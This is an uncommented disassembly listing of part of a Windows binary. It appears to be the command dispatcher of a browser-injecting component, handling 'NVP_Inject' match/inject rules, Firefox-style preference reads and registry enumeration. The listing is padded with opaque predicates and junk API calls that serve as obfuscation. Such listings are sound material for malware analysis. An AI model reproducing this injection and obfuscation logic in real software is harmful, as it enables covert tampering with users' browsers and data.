mov esi, 0xb
mov word [r12], si
jmp 0x1400708d0
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006f647
mov ecx, dword [0x1401ddd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 3
jne 0x14006f0df
lea rcx, [rsp + 0x1990]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
test r12, r12
je 0x1400708d0
call fcn.14006ad70
test al, al
jne 0x14006f0f7
inc dword [0x1401dfae8]
lea rdx, [0x140167cd0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x9c0], rax
lea rdx, [0x140167cd8]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006f5f8
lea rdx, [0x140167d60]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x9d0], rax
lea rdx, [0x140165a5c]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006f5f8
lea rdx, [0x140167d68]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x9e0], rax
lea rdx, [0x140167d70]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006f5f8
lea rdx, [0x140167d48]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x9f0], rax
lea rdx, [0x140167d50]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa00], rax
cmp byte [rax + 8], 1
jne 0x14006f5f8
lea rdx, [0x140167d58]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa10], rax
lea rdx, [0x140165a1c]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa20], rax
cmp byte [rax + 8], 1
jne 0x14006f5f8
lea rdx, [0x140167d90]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa30], rax
lea rdx, [0x140167d98]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa40], rax
cmp byte [rax + 8], 4
jne 0x14006f5f8
lea rdx, [0x140167da0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa50], rax
lea rdx, [0x140167da8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xa60], rax
lea rdx, [rsp + 0x1760]
mov rcx, rax
call fcn.14003ed90
nop
mov qword [rsp + 0x2e8], rdi
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xc
jne 0x14006f2ed
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d68e8
mov qword [rsp + 0xa70], rax
mov rcx, rax
call fcn.1400d834c
lea rcx, [rsp + 0x1760]
cmp qword [rsp + 0x1778], 0x10
cmovae rcx, qword [rsp + 0x1760]
mov qword [rsp + 0xa80], rcx
mov rdx, qword [rsp + 0x1770]
test dl, 3
jne 0x14006f59b
lea r8, [rsp + 0x2e8]
call fcn.1400238e0
mov byte [rsp + 0xb8], al
test al, al
je 0x14006f59b
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
mov rbx, qword [rsp + 0x2e8]
mov rdx, rbx
lea rcx, [rsp + 0x118]
call fcn.140037fe0
nop
mov qword [rsp + 0x2f8], rdi
cmp qword [rsp + 0x1778], 0x10
jb 0x14006f39f
mov rcx, qword [rsp + 0x1760]
mov qword [rsp + 0x6b0], rcx
test rcx, rcx
jne 0x14006f3af
mov rbx, qword [rsp + 0x118]
jmp 0x14006f3e6
lea rcx, [rsp + 0x1760]
mov qword [rsp + 0x6b0], rcx
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rbx, qword [rsp + 0x118]
mov r8, rbx
mov rdx, qword [rsp + 0x1770]
call fcn.140023910
mov byte [rsp + 0xb0], al
test al, al
jne 0x14006f468
test rbx, rbx
je 0x14006f40b
mov rcx, rbx
call fcn.1400d7280
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea rcx, [rsp + 0x1760]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
lea rcx, [rsp + 0x1740]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
mov rdx, qword [rsp + 0x2f8]
lea rcx, [rsp + 0x118]
call fcn.140037fe0
lea rdx, [0x140167d78]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xa90], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xaa0], rax
mov rcx, rax
call fcn.14003f020
mov ebx, eax
mov dword [rsp + 0x498], eax
lea rdx, [0x140167d88]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xab0], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xac0], rax
mov rcx, rax
call fcn.14003f020
mov dword [rsp + 0x698], eax
lea r9, [rsp + 0x118]
mov r8d, eax
mov edx, ebx
mov rcx, qword [r13 + 0x40]
call fcn.140065cc0
mov word [r12 + 8], r15w
call fcn.14006ae40
mov ecx, dword [rsp + 0x1360]
test al, al
cmove ecx, edi
mov dword [rsp + 0x1360], ecx
mov esi, 0xb
mov word [r12], si
call fcn.14006abb0
test al, al
jne 0x14006f55f
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
nop
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x14006f589
call fcn.1400d7280
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea rcx, [rsp + 0x1760]
call fcn.1400013b0
jmp 0x1400708d0
lea rcx, [rsp + 0x1760]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
lea rcx, [rsp + 0x1740]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
lea rcx, [rsp + 0x1740]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006f9b4
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
mov eax, dword [rsp + 0x11b0]
cmp ecx, 0xe
cmove eax, edi
mov dword [rsp + 0x11b0], eax
test r12, r12
je 0x14006f983
xor sil, sil
mov byte [rsp + 0x78], sil
lea rcx, [rsp + 0x258]
call fcn.140002570
nop
lea rdx, [0x140167e28]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xad0], rax
lea rdx, [0x140167e30]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xae0], rax
cmp byte [rax + 8], 4
jne 0x14006f95f
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 1
jne 0x14006f741
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401ddd80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401ddd80], ecx
lea rdx, [0x140167e38]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xaf0], rax
lea rdx, [0x140167db0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb00], rax
lea rdx, [rsp + 0x1780]
mov rcx, rax
call fcn.14003ed90
nop
mov rax, qword [rsp + 0x1790]
mov qword [rsp + 0xb10], rax
lea r8, [rsp + 0x1780]
cmp qword [rsp + 0x1798], 0x10
cmovae r8, qword [rsp + 0x1780]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x4a8], ebx
call fcn.14006ac50
test al, al
jne 0x14006f7e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
test ebx, ebx
je 0x14006f912
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], rdi
mov qword [rsp + 0x3f8], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x3e8]
call fcn.140037fe0
nop
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 3
jne 0x14006f84d
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x1790]
mov qword [rsp + 0xb20], rax
lea r8, [rsp + 0x1780]
cmp qword [rsp + 0x1798], 0x10
cmovae r8, qword [rsp + 0x1780]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x3e8]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14006f8ed
mov r8, qword [rsp + 0x3f0]
sub r8, rbx
mov qword [rsp + 0xb30], r8
mov rdx, rbx
lea rcx, [rsp + 0x6c0]
call fcn.140023cd0
mov qword [rsp + 0xb40], rax
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.1400026d0
nop
lea rcx, [rsp + 0x6c0]
call fcn.140002650
mov sil, 1
mov byte [rsp + 0x78], sil
test rbx, rbx
je 0x14006f912
mov rcx, rbx
call fcn.1400d7280
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3f0], rdi
mov qword [rsp + 0x3f8], rdi
lea rcx, [rsp + 0x1780]
call fcn.1400013b0
test sil, sil
je 0x14006f95f
mov rcx, qword [rsp + 0x258]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x798], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb50], rax
test rax, rax
jne 0x14006f94e
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
jmp 0x14006f96f
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x258]
call fcn.140002650
mov r8d, dword [0x1401ddd80]
imul r8d, r8d
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 8
jne 0x1400708d0
dec dword [0x1401dfb30]
jmp 0x1400708d0
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006fa76
mov rcx, qword [r13 + 0x40]
add rcx, 0x1f0
call fcn.1400759d0
test r12, r12
je 0x14006f9ed
mov r14d, 1
mov word [r12], r14w
call fcn.14006aed0
test al, al
jne 0x1400708d0
mov r10d, edi
mov dword [rsp + 0x29c], edi
mov r9d, dword [0x1401ddd80]
nop dword [rax + rax]
cmp r10d, 0x100
jge 0x1400708d0
mov edx, r10d
mov dword [rsp + 0x1a0], edx
mov r8d, edi
mov dword [rsp + 0x1a8], edi
cmp r8d, 8
jae 0x14006fa5f
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x1a0], edx
inc r8d
mov dword [rsp + 0x1a8], r8d
jmp 0x14006fa31
add r9d, edx
mov dword [0x1401ddd80], r9d
inc r10d
mov dword [rsp + 0x29c], r10d
jmp 0x14006fa10
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006fb73
lea rdx, [0x140167dfc]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xb60], rax
lea rdx, [0x140167e98]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb70], rax
cmp byte [rax + 8], 4
jne 0x14006fbb2
mov eax, dword [0x1401ddd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
mov eax, dword [rsp + 0x10b0]
cmp ecx, 0xb
cmove eax, edi
mov dword [rsp + 0x10b0], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xb80], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xba0], rdx
lea rcx, [rsp + 0x6d0]
call fcn.140003890
nop
test r12, r12
je 0x14006fb61
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x6d0]
call fcn.140002650
jmp 0x1400708d0
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 8
jne 0x14006fbb2
mov r14d, 1
test r8d, r8d
cmove r8d, r14d
mov dword [0x1401ddd80], r8d
test r12, r12
je 0x1400708d0
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x1400708d0
lea rdx, [0x140167b94]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbb0], rax
lea rdx, [0x140167b30]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xbc0], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
test r12, r12
je 0x1400708d0
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x188], rdi
lea rdx, [0x140167b38]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbd0], rax
lea rdx, [0x140167b40]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006ff45
lea rdx, [0x140167b48]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbe0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xbf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc00], rdx
lea rcx, [rsp + 0x268]
call fcn.140003890
nop
mov rbx, qword [r13 + 0x50]
lea rdx, [0x140167bf0]
lea rcx, [rsp + 0x268]
call fcn.140003cf0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc10], rbx
lea rdx, [0x140167c08]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xc20], rax
lea rdx, [0x140167c10]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc40], rdx
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, eax
mov dword [rsp + 0x4b8], eax
test eax, eax
je 0x14006fe18
call fcn.14006ac50
test al, al
jne 0x14006fd78
mov ecx, dword [str.z6R7N8]
mov dword [rsp + 0x160], ecx
movzx ecx, word [0x140165878]
mov word [rsp + 0x164], cx
movzx eax, byte [0x14016587a]
mov byte [rsp + 0x166], al
mov byte [rsp + 0x160], 0x24
mov dword [r12 + 8], r10d
mov eax, 0x16
mov word [r12], ax
lea rcx, [rsp + 0x268]
call fcn.140002650
nop
lea rcx, [rsp + 0x178]
call fcn.14001c640
nop
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006fdc6
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
mov ebx, edi
mov dword [rsp + 0x284], ebx
mov dword [rsp + 0xec], 0x7ffe
lea rdx, [0x140167ba0]
lea rcx, [rsp + 0x48]
call fcn.140003cf0
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc50], r14
mov ecx, 0x7ffe
call fcn.1400d68e8
mov rsi, rax
mov qword [rsp + 0xc60], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400dc6e0
nop dword [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x284], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xec]
mov r8, rsi
mov rcx, qword [rsp + 0x6e0]
call r14
mov dword [rsp + 0x6a8], eax
test eax, eax
jne 0x14006ff0f
mov rdx, rsi
lea rcx, [rsp + 0x6f0]
call fcn.140003890
nop
mov rdx, rax
lea rcx, [rsp + 0x178]
call fcn.14002d480
nop
lea rcx, [rsp + 0x6f0]
call fcn.140002650
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400dc6e0
mov dword [rsp + 0xec], 0x7ffe
jmp 0x14006fe80
cmp eax, 0x103
je 0x14006ff32
mov rax, qword [rsp + 0x180]
sub rax, qword [rsp + 0x178]
test rax, 0xfffffffffffffff8
jne 0x14006ff32
xor bl, bl
jmp 0x14006ff34
mov bl, 1
mov byte [rsp + 0x51], bl
lea rcx, [rsp + 0x268]
jmp 0x140070031
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003cf0
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x14006ffc9
lea rdx, [0x140167be0]
call fcn.14003f690
mov qword [rsp + 0xc70], rax
lea rdx, [0x140167c30]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc90], rdx
lea rcx, [rsp + 0x308]
call fcn.140003890
nop
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x308]
call fcn.140051fb0
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x308]
jmp 0x140070031
lea rdx, [0x140167c38]
call fcn.14003f690
mov qword [rsp + 0xca0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xcb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc0], rdx
lea rcx, [rsp + 0x318]
call fcn.140003890
nop
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x318]
call fcn.140051c00
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x318]
call fcn.140002650
test bl, bl
je 0x14007026c
lea rdx, [0x140167c48]
lea rcx, [rsp + 0xc8]
call fcn.1400025b0
nop
mov rbx, qword [rsp + 0x178]
mov qword [rsp + 0x720], rbx
cmp rbx, qword [rsp + 0x180]
je 0x140070139
lea rdx, [0x140165814]
lea rcx, [rsp + 0x338]
call fcn.140003890
nop
lea rdx, [0x14016582c]
lea rcx, [rsp + 0x328]
call fcn.140003890
nop
mov r8, rbx
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x710]
call fcn.1400109e0
nop
lea r8, [rsp + 0x338]
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.1400109e0
mov qword [rsp + 0xcd0], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x4c8], r8d
mov qword [rsp + 0xce0], rdx
lea rcx, [rsp + 0xc8]
call fcn.1400114a0
nop
lea rcx, [rsp + 0x700]
call fcn.140002650
nop
lea rcx, [rsp + 0x710]
call fcn.140002650
nop
lea rcx, [rsp + 0x328]
call fcn.140002650
nop
lea rcx, [rsp + 0x338]
call fcn.140002650
add rbx, 8
jmp 0x14007005b
mov rax, qword [rsp + 0xc8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x818], r8d
dec r8d
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0xc8]
call fcn.14001c230
nop
lea r8, [0x14016583c]
mov rdx, rax
lea rcx, [rsp + 0x730]
call fcn.14001c2d0
mov qword [rsp + 0xcf0], rax
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.1400026d0
nop
lea rcx, [rsp + 0x730]
call fcn.140002650
nop
lea rcx, [rsp + 0x740]
call fcn.140002650
mov rcx, qword [rsp + 0xc8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4d8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xd00], rax
test rax, rax
jne 0x1400701db
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0xf
jne 0x14007025d
mov eax, 0x63
mov dword [rsp + 0x194], eax
mov r8d, 0xf4
mov dword [rsp + 0x210], r8d
test eax, eax
je 0x140070254
test r8d, r8d
je 0x140070254
mov ecx, r8d
mov dword [rsp + 0x6b8], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x210], edx
mov eax, ecx
mov dword [rsp + 0x194], ecx
jmp 0x140070228
add eax, r8d
mov dword [0x1401ddd80], eax
lea rcx, [rsp + 0xc8]
call fcn.140002650
jmp 0x14007027c
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x178]
call fcn.14001c640
jmp 0x1400708d0
lea rdx, [0x140167734]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd10], rax
lea rdx, [0x140167740]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd20], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
test r12, r12
je 0x1400708d0
lea rdx, [0x140167748]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd30], rax
lea rdx, [0x140167750]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd40], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x1401677f8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd50], rax
lea rdx, [0x140167800]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd70], rdx
lea rcx, [rsp + 0xf8]
call fcn.140003890
nop
lea rdx, [0x140167808]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xd80], rax
lea rdx, [0x140167810]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xd90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xda0], rdx
lea rcx, [rsp + 0x110]
call fcn.140003890
nop
mov rbx, rdi
mov qword [rsp + 0x140], rbx
lea rdx, [0x1401677d8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xdb0], rax
lea rdx, [0x1401677e0]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14007058a
mov ecx, dword [0x1401ddd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xe
jne 0x140070416
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [0x1401677e8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xdc0], rax
lea rdx, [0x1401677f0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xdd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xde0], rdx
lea rcx, [rsp + 0x348]
call fcn.140003890
nop
mov r13, qword [r13 + 0x50]
mov qword [rsp + 0x140], r13
call fcn.14006aed0
test al, al
jne 0x140070528
mov r14d, edi
mov dword [rsp + 0x220], edi
mov esi, dword [0x1401ddd80]
nop dword [rax + rax]
cmp r14d, 1
jge 0x140070528
mov r11d, edi
mov dword [rsp + 0x19c], edi
cmp r11d, 0xb
jge 0x140070518
mov r10d, edi
mov dword [rsp + 0x288], edi
cmp r10d, 0xf
jge 0x14007050b
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
sub eax, r14d
imul r9d, eax
mov eax, esi
cdq
idiv ebx
imul r9d, eax
movsxd r8, r14d
imul r8, r8, 0xb
movsxd rax, r11d
add r8, rax
imul r8, r8, 0xf
movsxd rax, r10d
lea rcx, [rsp + 0x1e90]
add rcx, rax
mov byte [rcx + r8], r9b
mov r10d, ebx
mov dword [rsp + 0x288], ebx
jmp 0x1400704b4
inc r11d
mov dword [rsp + 0x19c], r11d
jmp 0x1400704a4
inc r14d
mov dword [rsp + 0x220], r14d
jmp 0x140070490
lea rdx, [0x140167848]
lea rcx, [rsp + 0x348]
call fcn.140003cf0
mov rcx, 0xffffffff80000003
test eax, eax
cmove r13, rcx
mov qword [rsp + 0x140], r13
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140070582
mov rdx, qword [rsp + 0x750]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x140]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x140070707
lea rcx, [rsp + 0x150]
call fcn.140002570
nop
test rbx, rbx
je 0x1400705e0
mov r9, rbx
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x150]
call fcn.140050a90
mov rdi, qword [rsp + 0x40]
jmp 0x140070694
lea rax, [rsp + 0x760]
mov qword [rsp + 0xdf0], rax
lea rdx, [0x1401652cc]
lea rcx, [rsp + 0x760]
call fcn.1400025b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d8d48]
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x770]
call fcn.140050090
mov qword [rsp + 0xe00], rax
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.1400026d0
nop
mov rcx, qword [rsp + 0x770]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140070679
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rsp + 0x40]
jmp 0x140070694
mov rcx, qword [rsp + 0x150]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4e8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe10], rax
test rax, rax
jne 0x1400706be
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140070862
mov rdx, qword [rsp + 0x7a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
